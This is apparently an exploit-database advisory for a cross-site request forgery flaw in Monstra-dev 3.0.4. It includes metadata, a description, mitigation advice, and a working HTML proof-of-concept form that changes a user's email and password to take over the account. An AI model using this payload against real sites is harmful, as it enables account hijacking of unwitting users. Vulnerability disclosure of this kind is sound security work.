Monstra-Dev 3.0.4 - Cross-Site Request Forgery(Account Hijacking)

vendor:

Monstra-dev

by:

Nainsi Gupta

8.8

CVSS

HIGH

Cross-Site Request Forgery

352

CWE

Product Name: Monstra-dev

Affected Version From: 3.0.4

Affected Version To: 3.0.4

Patch Exists: NO

Related CWE: N/A

CPE: a:monstra:monstra-dev:3.0.4

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10 (Firefox/Chrome)

2018

Monstra-Dev 3.0.4 – Cross-Site Request Forgery(Account Hijacking)

CSRF vulnerability in admin/user/edit in Monstra-dev 3.0.4 allows an attacker to take over a user account by modifying user's data such as email and password. To exploit this vulnerability, victim need to be logged in at target site namely victim.com and visit crafted site made by attacker namely attacker.com. Then an authenticated POST request will be generated from victim browser and it will be submit to victim.com to modify user's data to attacker desired value.

Mitigation:

Implementing CSRF protection tokens, using HTTPOnly cookies, and using secure flag on cookies.

Source

Exploit-DB raw data:

# Exploit Title: Monstra-Dev 3.0.4 - Cross-Site Request Forgery(Account Hijacking)
# Date: 2018-08-04
# Exploit Author: Nainsi Gupta
# Vendor Homepage: http://monstra.org/
# Product Name: Monstra-dev
# Version: 3.0.4
# Tested on: Windows 10 (Firefox/Chrome)
# CVE : N/A

# 1. Description
# CSRF vulnerability in admin/user/edit in Monstra-dev 3.0.4 allows an attacker
# to take over a user account by modifying user's data such as email and password
 
# 2. Exploit and Proof of Concept
# To exploit this vulnerability, victim need to be logged in at target site namely
# victim.com and visit crafted site made by attacker namely attacker.com. 
# Then an authenticated POST request will be generated from victim browser and it will
# be submit to victim.com to modify user's data to attacker desired value.

#POC:CSRF

<html>
  <!-- CSRF PoC -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/monstra-dev/users/2/edit" method="POST">
      <input type="hidden" name="csrf" value="7e172c2a395495f3e4c05912cb9f3f7f0ed8344e" />
      <input type="hidden" name="user&#95;id" value="2" />
      <input type="hidden" name="login" value="guptanainisi95" />
      <input type="hidden" name="firstname" value="sd" />
      <input type="hidden" name="lastname" value="jkh" />
      <input type="hidden" name="email" value="guptanainsi97&#64;gmail&#46;com" />
      <input type="hidden" name="twitter" value="" />
      <input type="hidden" name="skype" value="" />
      <input type="hidden" name="about&#95;me" value="ss" />
      <input type="hidden" name="new&#95;password" value="qaz" />
      <input type="hidden" name="edit&#95;profile" value="Save" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>